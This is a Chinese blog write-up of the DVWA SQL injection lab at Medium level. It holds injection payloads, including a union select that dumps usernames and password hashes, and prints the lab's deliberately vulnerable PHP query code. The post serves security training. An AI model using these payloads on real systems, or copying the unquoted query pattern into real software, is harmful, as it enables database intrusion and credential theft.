DVWA——SQL Injection通关记录(Medium)

古城微笑少年丶 2022-12-17 04:25 201阅读 0赞

Security Level:Medium

1.判断注入点及注入类型

这一等级明显加上了一些限制,用户无法在页面上直接输入,而是限制进行数字的选择

watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80Mzk2NTU5Nw_size_16_color_FFFFFF_t_70

这时就考虑抓包,看看能否在数据包中进行注入语句的构造

watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80Mzk2NTU5Nw_size_16_color_FFFFFF_t_70 1

找到了id=1这一句,是数字型,看看是不是注入点

右键点击发送至Repeater

构造语句

id=1 and 1=2

watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80Mzk2NTU5Nw_size_16_color_FFFFFF_t_70 2

可以查询,确定是数字型

用字符型验证一下,构造语句

1’ and 1=1#

watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80Mzk2NTU5Nw_size_16_color_FFFFFF_t_70 3

出错了,结尾的注释符其实可要可不要,Submit=Submit意思就是提交,默认也是这个值

再来看是否存在注入,构造语句

1 or 1=1#

watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80Mzk2NTU5Nw_size_16_color_FFFFFF_t_70 4

好,此处存在数字型注入

2.获取账号和密码

步骤与Low等级完全相同,最后构造的语句为

1 union select user,password from users #

watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80Mzk2NTU5Nw_size_16_color_FFFFFF_t_70 5

再把口令解密成明文,结束

8.源码分析

点击右下角View Source

  1. SQL Injection Source
  2. vulnerabilities/sqli/source/medium.php
  3. <?php
  4. if( isset( $_POST[ 'Submit' ] ) ) {
  5. // Get input
  6. $id = $_POST[ 'id' ];
  7. $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
  8. $query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
  9. $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );
  10. // Get results
  11. while( $row = mysqli_fetch_assoc( $result ) ) {
  12. // Display values
  13. $first = $row["first_name"];
  14. $last = $row["last_name"];
  15. // Feedback for end user
  16. echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
  17. }
  18. }
  19. // This is used later on in the index.php page
  20. // Setting it here so we can close the database connection in here like in the rest of the source scripts
  21. $query = "SELECT COUNT(*) FROM users;";
  22. $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
  23. $number_of_rows = mysqli_fetch_row( $result )[0];
  24. mysqli_close($GLOBALS["___mysqli_ston"]);
  25. ?>

使用了 mysqli_real_escape_string 函数对特殊字符进行转义,同时前端页面设置了下拉选择表单,希望以此来控制用户的输入,但是能抓包的话就没什么障碍。

发表评论

表情:
评论列表 (有 0 条评论,201人围观)

还没有评论,来说两句吧...

相关阅读

    相关 通关Junit

    通关Junit 简介 JUnit是一个Java编程语言的单元测试框架。它是最常用的单元测试框架之一,被广泛应用于Java开发中。 历代版本 JUnit

    相关 provide/inject

    概述 `provide/inject`:简单的来说就是在父组件中通过`provide`来提供变量,然后在子组件中通过`inject`来注入变量。 需要注意的是这里不论子